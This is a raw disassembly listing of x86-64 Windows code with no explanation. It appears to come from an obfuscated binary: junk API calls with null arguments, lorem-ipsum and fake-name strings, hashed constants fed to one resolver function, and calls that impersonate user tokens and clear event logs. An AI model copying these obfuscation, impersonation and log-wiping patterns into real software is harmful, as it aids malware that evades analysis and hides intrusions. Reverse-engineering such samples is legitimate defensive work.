mov dword [rax], 0x61d7b51a
mov rax, qword [0x004cc1d0]
mov edx, dword [rax]
mov rax, qword [0x004cbda0]
mov dword [rax], edx
call rbx
mov rax, qword [0x004cc0f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc300]
mov dword [rax], edx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov qword [rsp + 0x98], r10
call r10
mov ecx, 0xdfcd8636
call fcn.00413350
mov rdx, qword [0x004cc200]
lea rcx, str.Facilis_ea_laborum_qui_voluptate_voluptatem_pariatur_quia
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
mov qword [rsp + 0x70], rax
call rax
lea rdx, str.DrAdolfoDooleyJr
xor ecx, ecx
call r14
mov rax, qword [0x004cbc90]
mov rdi, qword [0x004cc080]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbcf0]
mov rdi, qword [0x004cc480]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbe50]
mov rdi, qword [0x004cc2c0]
mov eax, dword [rax]
mov dword [rdi], eax
call rbp
mov rdi, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc2e0]
mov rdx, qword [0x004cc130]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cc110]
mov rcx, qword [0x004cc0f0]
lea rdx, str.TreMertz
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.SavannaDooley
call rsi
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov ecx, 0x9cbec800
call fcn.00413350
mov rdx, qword [0x004cbc30]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov qword [rsp + 0x78], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.EllsworthGraham
lea rcx, str.Autem_aut_laborum_provident_adipisci_eaque_nihil_laudantium_veniam_aliquid
call r12
mov rax, qword [0x004cbd90]
xor ecx, ecx
mov dword [rax], 0xae76b8ff
mov rax, qword [0x004cbcf0]
mov dword [rax], 0x8eedcb8c
call rbp
xor edx, edx
xor ecx, ecx
call rdi
mov r9, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cbd30]
xor edx, edx
lea rcx, str.BrianneMetz
mov qword [rsp + 0x90], r9
mov dword [rax], 0x1fab195
call r9
mov rax, qword [0x004cbdd0]
xor ecx, ecx
mov dword [rax], 0x3aa84aaa
mov rax, qword [0x004cbe10]
mov dword [rax], 0xbd03195b
mov rax, qword [rsp + 0x58]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
lea r8, str.Dignissimos_natus_voluptas
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
xor ecx, ecx
call r13
mov r11, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
mov r15, qword [0x004cbcb0]
xor ecx, ecx
mov qword [rsp + 0x88], r11
mov dword [r15], 0xc0e94f09
call r11
mov rax, qword [0x004cc390]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc170]
mov r8, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [r15], 0xf8ddc7fe
mov rdx, qword [0x004cc4b0]
mov dword [rcx], eax
mov rax, qword [0x004cbd50]
xor ecx, ecx
mov qword [rsp + 0x80], r8
mov eax, dword [rax]
mov dword [rdx], eax
call r8
mov rax, qword [0x004cc3d0]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc170]
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov rdx, qword [0x004cbcc0]
mov eax, dword [r15]
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cc1f0]
xor ecx, ecx
mov dword [rax], 0xeb9066ec
mov rax, qword [0x004cbcf0]
mov dword [rax], 0xa240be0c
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cbbf0]
mov rcx, qword [0x004cbc30]
mov r10, qword [rsp + 0x98]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r10
xor ecx, ecx
call rbx
mov ecx, 0x51b816
call fcn.00413350
mov rdx, qword [0x004cc480]
mov ecx, 0x6fd70e63
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbc80]
mov r9, qword [rsp + 0x90]
lea rcx, str.CharleyLueilwitz
mov dword [rdx], eax
xor edx, edx
call r9
mov rax, qword [0x004cc230]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3e0]
mov dword [rdx], eax
mov rax, qword [0x004cc140]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbed0]
mov r8, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rdx], eax
call r8
xor ecx, ecx
call r13
mov rax, qword [0x004cbd30]
xor ecx, ecx
mov dword [rax], 0xc6e66704
call r13
mov ecx, 0x24312fd4
call fcn.00413350
mov rdx, qword [0x004cc240]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.LucieGrant
call r14
mov rax, qword [0x004cc150]
mov rcx, qword [0x004cbe10]
lea rdx, str.Laboriosam_expedita_vel_quaerat_quod_omnis
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cbd50]
xor ecx, ecx
mov dword [rax], 0xc8f23f3a
call r14
xor ecx, ecx
call rbp
mov r13, qword [0x004cc3b0]
lea rdx, str.Quia_commodi_dolorem_non_qui_aut_non_nostrum_hic
lea rcx, str.JalonNikolaus
mov dword [r13], 0x9c5a9bb0
call r12
mov rax, qword [0x004cc3d0]
mov dword [r13], 0x6536b84b
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc90]
lea rcx, str.SusanPfannerstill
mov dword [rdx], eax
lea rdx, str.Dolor_iusto_aut_aperiam_odit_ipsam
call r12
mov rax, qword [0x004cc3c0]
mov rcx, qword [0x004cc390]
lea rdx, str.Ullam_autem_nemo_id_laudantium_rerum
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.RobertaBlock
call r12
mov rax, qword [0x004cc4a0]
xor ecx, ecx
mov dword [rax], 0x31083de9
call rbx
mov rax, qword [0x004cc0b0]
mov rdx, qword [0x004cbdf0]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r12
lea rdx, str.AntonetteTowne
lea rcx, str.LuzCormier
call rsi
mov rax, qword [0x004cc2c0]
mov rcx, qword [0x004cbdb0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.Maiores_sed_placeat_alias_sapiente_occaecati
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004cc130]
mov rdx, qword [0x004cbc20]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc210]
mov dword [rax], 0xb9fab787
mov rax, qword [0x004cbe80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc490]
lea rcx, str.ZionShanahanJr
mov dword [rdx], eax
lea rdx, str.Odit_quod_ut_et_assumenda
call rsi
mov rax, qword [0x004cbd50]
xor edx, edx
xor ecx, ecx
mov rbp, qword [0x004cc410]
mov dword [rax], 0xe29867f6
mov rax, qword [0x004cbc50]
mov dword [rbp], 0x3a675af4
mov dword [rax], 0x5894db03
mov rax, qword [0x004cc3a0]
mov dword [rax], 0x715edce1
call rdi
mov ecx, 0xa943dfc9
call fcn.00413350
mov rdx, qword [0x004cbc40]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cc4b0]
mov rcx, qword [0x004cc170]
mov dword [rbp], 0x76dace0b
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.KeiraStamm
xor ecx, ecx
call r14
xor ecx, ecx
call r15
mov rax, qword [0x004cc450]
mov ecx, dword [rax]
call fcn.00413350
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cbbc0]
mov rbx, qword [0x004cc080]
xor ecx, ecx
mov dword [rax], 0xacbb799f
mov rax, qword [0x004cbc90]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbd30]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cbcc0]
mov eax, dword [rax]
mov dword [rbx], eax
call rdi
lea rdx, str.Omnis_voluptatem_dolorum_aut_dolorum_adipisci_laborum
lea rcx, str.Eum_consequatur_temporibus_aut_ipsum_sed_suscipit_ea_molestias_nihil_ut_praesentium_natus_harum
call rsi
mov ecx, 0xa555a793
call fcn.00413350
mov rsi, qword [0x004cc390]
mov rbx, qword [0x004cbde0]
mov dword [rsi], eax
mov rax, qword [0x004cc3d0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cc0f0]
mov edx, dword [rax]
mov rax, qword [0x004cbc70]
mov dword [rax], edx
mov rax, qword [0x004cc080]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc4d0]
xor edx, edx
lea rcx, str.Sed_quo_dolor_cupiditate_dolore_quo_in_velit_quo
mov dword [rbx], eax
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cbde0]
mov ecx, 0xf3adf050
mov eax, dword [rax]
mov dword [rbx], eax
call fcn.00413350
mov rdx, qword [0x004cc0e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbc60]
mov edx, dword [rax]
mov rax, qword [0x004cc3f0]
mov dword [rax], edx
xor edx, edx
call rdi
mov ecx, 0xbfbcd463
call fcn.00413350
mov rdx, qword [0x004cbd40]
mov dword [rdx], eax
mov rax, qword [0x004cc1c0]
mov dword [rax], 0x487dd945
mov rax, qword [0x004cbd20]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbc20]
mov dword [rsi], eax
mov rax, qword [0x004cc160]
mov dword [rax], 0x8ac7a085
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc1b0]
mov r8, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rdx], eax
call r8
mov rax, qword [0x004cc360]
mov rbx, qword [0x004cbdf0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
mov r11, qword [rsp + 0x88]
xor r8d, r8d
xor ecx, ecx
call r11
mov rax, qword [rsp + 0x58]
xor ecx, ecx
call rax
mov rax, qword [0x004cc1e0]
mov edx, dword [rax]
mov rax, qword [0x004cc350]
mov dword [rax], edx
cmp qword [rsp + 0x68], 0
je 0x40b369
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x40ab66
mov rax, qword [0x004cbba0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc3d0]
mov rsi, qword [0x004cc3c0]
xor ecx, ecx
mov edx, dword [rbx]
mov dword [rsi], eax
mov rax, qword [0x004cbd50]
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [rax], edx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cbed0]
mov rdi, qword [0x004cc490]
xor ecx, ecx
lea rdx, str.MarcelleKing
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbc80]
mov rdi, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov dword [rax], 0x870f1e02
call rdi
xor ecx, ecx
call rsi
mov rax, qword [0x004cc490]
mov rdx, qword [0x004cc1b0]
mov ecx, 0x992328d5
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rcx, qword [0x004cc340]
mov r14, qword [0x004cc310]
mov rdx, qword [0x004cc390]
mov dword [rcx], eax
mov rax, qword [str._mf]
mov rcx, qword [0x004cbce0]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r14]
mov dword [rcx], eax
mov rax, qword [0x004cbda0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbdc0]
xor ecx, ecx
mov dword [rdx], eax
mov eax, dword [rbx]
mov rbx, qword [0x004cc490]
mov dword [rbx], eax
mov rax, qword [0x004cc1b0]
mov rbx, qword [0x004cc0a0]
mov eax, dword [rax]
mov dword [rbx], eax
call rsi
mov rax, qword [0x004cbe40]
mov rbx, qword [0x004cbe80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x60], rax
call rax
xor ecx, ecx
lea rdx, str.MsAnnettaWest
call rdi
mov r15, qword [0x004cc4c0]
mov rax, qword [0x004cbe60]
mov ecx, 0xa4d4ffa1
mov edx, dword [r15]
mov dword [rax], 0xa79a5ae7
mov rax, qword [0x004cbe00]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbe60]
mov r13, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.At_voluptas_architecto_est_explicabo_impedit_eos_sint
mov dword [rdx], eax
lea rdx, str.MissJodieDenesik
call r13
mov rax, qword [0x004cc0a0]
mov rcx, qword [0x004cc440]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cc400]
xor ecx, ecx
mov dword [rax], 0x7bb0b8a8
mov rax, qword [0x004cbba0]
mov dword [rax], 0x321b3404
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004cc3e0]
mov ecx, 0x1495a930
mov eax, dword [rax]
mov dword [rbx], eax
call fcn.00413350
mov rbx, qword [0x004cc3e0]
xor edx, edx
lea rcx, str.Temporibus_saepe_necessitatibus_qui_omnis_voluptatibus_aut_repellat_assumenda_officiis_sed
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
call rbx
mov rbp, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rbp
lea rdx, str.DrMabelBatz
lea rcx, str.MaribelBrown
call r13
mov rax, qword [0x004cc440]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc390]
mov ecx, 0x88dc323c
mov dword [rdx], eax
mov rax, qword [0x004cc4b0]
mov dword [rax], 0xd1939d8b
call fcn.00413350
mov rdx, qword [0x004cbca0]
lea rcx, str.Maxime_quisquam_quis_dolorum_enim_similique_quia
mov dword [rdx], eax
mov rax, qword [0x004cc3f0]
xor edx, edx
mov dword [rax], 0x94f5b17d
call rbx
xor ecx, ecx
call rsi
mov r12, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
call r12
mov r9, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.JaedenJohnstonIII
mov qword [rsp + 0x90], r9
call r9
mov r8, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.EmmaleeHuelsI
lea rcx, str.VergieDeckow
mov qword [rsp + 0x88], r8
call r8
mov rax, qword [0x004cbc70]
mov rcx, qword [0x004cc3c0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbp
mov eax, dword [r14]
mov ecx, 0xc23553f1
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cc150]
mov ecx, 0x7e2a01ab
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc160]
lea rcx, str.Quia_id_et_et_consequatur_quos_velit_vero
mov dword [rdx], eax
xor edx, edx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cc340]
mov qword [rsp + 0x80], r10
mov dword [rax], 0x2f6de2e3
call r10
mov rax, qword [0x004cbeb0]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cbbc0]
mov dword [rcx], eax
mov rax, qword [0x004cbe70]
xor ecx, ecx
mov dword [rax], 0x2145ae13
call rsi
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cbc90]
mov ecx, dword [rax]
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [r14], eax
call r15
mov rax, qword [0x004cc410]
mov rdx, qword [0x004cbc80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004cbc30]
lea rdx, str.SandrineBergnaum
xor ecx, ecx
mov dword [rax], 0x5cfb366
call rdi
xor ecx, ecx
call rbp
xor edx, edx
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call rdi
mov rax, qword [0x004cc350]
mov ecx, dword [rax]
call fcn.00413350
mov r11, qword [0x004cc0f0]
mov rcx, qword [0x004cbda0]
mov edx, dword [r11]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [0x004cc100]
mov dword [rax], edx
mov rax, qword [0x004cc440]
mov edx, dword [rax]
mov rax, qword [0x004cc070]
mov dword [rax], edx
xor edx, edx
call rdi
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call r15
lea rdx, str.Enim_autem_aut_qui_nisi_nemo_est
lea rcx, str.JosieLubowitzDDS
call r13
mov rax, qword [0x004cc0d0]
mov r11, qword [0x004cc0f0]
xor ecx, ecx
mov r10, qword [rsp + 0x80]
mov edx, dword [rax]
mov rax, qword [0x004cc1f0]
mov dword [rax], edx
mov rax, qword [0x004cc0c0]
xor edx, edx
mov eax, dword [rax]
mov dword [r11], eax
call r10
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cc180]
mov ecx, 0x56c7ddb3
mov dword [rax], 0x82b02ca4
call fcn.00413350
mov rdx, qword [0x004cc150]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov r15, qword [0x004cbe90]
mov rcx, qword [0x004cbed0]
mov eax, dword [r15]
mov dword [rcx], eax
mov ecx, 0x5cb78e40
call fcn.00413350
mov rdx, qword [0x004cc230]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004cbba0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbee0]
lea rcx, str.Expedita_a_sit_vel
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc1a0]
xor ecx, ecx
mov dword [rax], 0xa1c316ff
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x574c3047
call fcn.00413350
mov rdx, qword [0x004cbe20]
mov ecx, 0x17425967
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd10]
mov r8, qword [rsp + 0x88]
lea rcx, str.Tempora_occaecati_ex_dolores_expedita_eum_quaerat_veniam_qui_consequatur_sed_facilis
mov dword [rdx], eax
lea rdx, str.Neque_incidunt_tenetur_officia_et_consequuntur_eos
call r8
mov rax, qword [0x004cbdb0]
xor edx, edx
lea rcx, str.RobertFeeney
mov dword [rax], 0xe35eb33e
mov rax, qword [0x004cbd40]
mov dword [rax], 0x96d20810
mov rax, qword [0x004cc460]
mov dword [rax], 0xf322530f
mov rax, qword [0x004cbc60]
mov eax, dword [rax]
mov dword [r15], eax
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor r8d, r8d
mov r15, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cbe20]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd90]
mov dword [rax], edx
call r14
xor ecx, ecx
call rsi
mov rax, qword [0x004cc110]
xor ecx, ecx
mov dword [rax], 0xd1432f72
mov rax, qword [rsp + 0x60]
call rax
mov r11, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.HesterPaucekIII
mov qword [rsp + 0x60], r11
call r11
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
lea rcx, str.NicoleSawayn
call rbx
mov ecx, 0x5b187d7d
call fcn.00413350
mov rcx, qword [0x004cc1b0]
mov dword [rcx], eax
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc380]
mov r11, qword [rsp + 0x60]
lea r8, str.EstevanBruen
mov dword [rdx], eax
mov rax, qword [0x004cc150]
mov rdx, qword [0x004cbeb0]
mov qword [rsp + 0x80], r11
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r11
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x60], r10
call r10
lea rdx, str.Commodi_sint_amet_aspernatur_est_temporibus_voluptates_eaque
lea rcx, str.BlakeMcLaughlin
call r13
mov rax, qword [0x004cc1a0]
mov dword [rax], 0xb38b2bc
mov rax, qword [0x004cbd40]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc430]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rdx], eax
call r13
mov rax, qword [0x004cc4b0]
mov rcx, qword [0x004cc060]
mov dword [rax], 0x6cea1d4e
mov rax, qword [0x004cbbf0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cc420]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbd0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc420]
xor edx, edx
mov dword [rax], 0xf474da78
call rdi
xor ecx, ecx
call rbp
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc190]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbe40]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call r12
mov rax, qword [0x004cc200]
lea rcx, str.NelsonSchulistDVM
mov edx, dword [rax]
mov rax, qword [0x004cc480]
mov dword [rax], edx
xor edx, edx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
xor edx, edx
lea rcx, str.MateoHudson
call rbx
mov rax, qword [0x004cbc40]
mov ecx, 0x698634d0
mov dword [rax], 0x9db0032
call fcn.00413350
mov rdx, qword [0x004cc220]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x004cbda0]
xor edx, edx
xor ecx, ecx
mov r11, qword [rsp + 0x80]
lea r8, str.KaileeCruickshank
mov dword [rax], 0x6a87e093
call r11
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cc4b0]
mov rsi, qword [0x004cc110]
xor ecx, ecx
mov dword [rax], 0x54914633
mov rax, qword [0x004cbbc0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc390]
xor ecx, ecx
mov dword [rax], 0x7a41977c
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rax, qword [0x004cbe70]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x9781b95
mov rax, qword [0x004cbce0]
mov dword [rax], 0xa1f315d5
call r12
mov r9, qword [rsp + 0x90]
xor edx, edx
lea rcx, str.Error_harum_in_quaerat_voluptatibus_qui_laborum
call r9
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0x8e474870
call fcn.00413350
mov rdx, qword [0x004cc2d0]
mov dword [rdx], eax
mov rax, qword [0x004cc060]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc3e0]
xor ecx, ecx
mov dword [rsi], eax
call rbp
mov rax, qword [0x004cc0a0]
mov rbx, qword [0x004cbeb0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cc490]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc410]
mov dword [rsi], eax
mov rax, qword [0x004cbce0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbe20]
mov dword [rbx], eax
mov rax, qword [0x004cc1b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcd0]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
mov r10, qword [rsp + 0x60]
call r10
mov rax, qword [0x004cc300]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbdf0]
mov dword [rax], edx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [rsp + 0xd0]
movups xmm0, xmmword [rsp + 0xc0]
lea rdx, [rsp + 0xa0]
movsxd r9, dword [rsp + 0x998]
mov r8, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0xb0], rax
movups xmmword [rsp + 0xa0], xmm0
call fcn.0040319d
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x40b369
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc480]
mov r14, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cc230]
mov dword [rax], 0x520e23e2
call r14
mov rax, qword [0x004cc380]
mov rbx, qword [0x004cbe10]
mov ecx, 0xe966ec5a
mov edx, dword [rax]
mov rax, qword [0x004cc370]
mov dword [rbx], 0xc6933000
mov dword [rax], edx
call fcn.00413350
mov rsi, qword [0x004cc1a0]
mov r13, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rsi], eax
call r13
mov rax, qword [0x004cc3e0]
mov ecx, dword [rax]
call fcn.00413350
mov r10, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rdx, qword [0x004cbdd0]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rdx], eax
lea rdx, str.EnricoAbbott
call r10
mov rax, qword [0x004cbea0]
mov r15, qword [0x004cc4b0]
mov rdi, qword [0x004cbeb0]
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x004cbd60]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc4c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbec0]
mov ecx, 0x1a0b35a4
mov r12, qword [0x004cc2d0]
mov dword [rdx], eax
mov eax, dword [r15]
mov dword [r12], eax
mov rax, qword [0x004cbc40]
mov dword [rax], 0x99904cef
call fcn.00413350
mov rsi, qword [0x004cc340]
mov r9, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cc3e0]
mov qword [rsp + 0x90], r9
mov edx, dword [rax]
mov rax, qword [0x004cbc80]
mov dword [rax], edx
mov rax, qword [0x004cc090]
xor edx, edx
mov dword [rax], 0x84c0c00a
call r9
mov rax, qword [0x004cc080]
mov rdi, qword [0x004cbc90]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc350]
mov dword [rax], edx
mov rax, qword [0x004cbc60]
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
call rdi
mov rbp, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004cc470]
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd00]
mov dword [rax], edx
mov rax, qword [0x004cbed0]
mov edx, dword [rax]
mov rax, qword [0x004cbdb0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cc0e0]
mov ecx, 0x4dec7cc9
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00413350
mov ecx, 0x52327d9c
mov dword [rbx], eax
call fcn.00413350
mov rbx, qword [0x004cbc70]
xor ecx, ecx
mov dword [rbx], eax
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.Sit_voluptas_qui_quas_veritatis_consequatur_et
lea rcx, str.Dolorem_debitis_qui_ea_et_culpa
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call r14
mov rax, qword [str._mf]
mov ecx, dword [rax]
call fcn.00413350
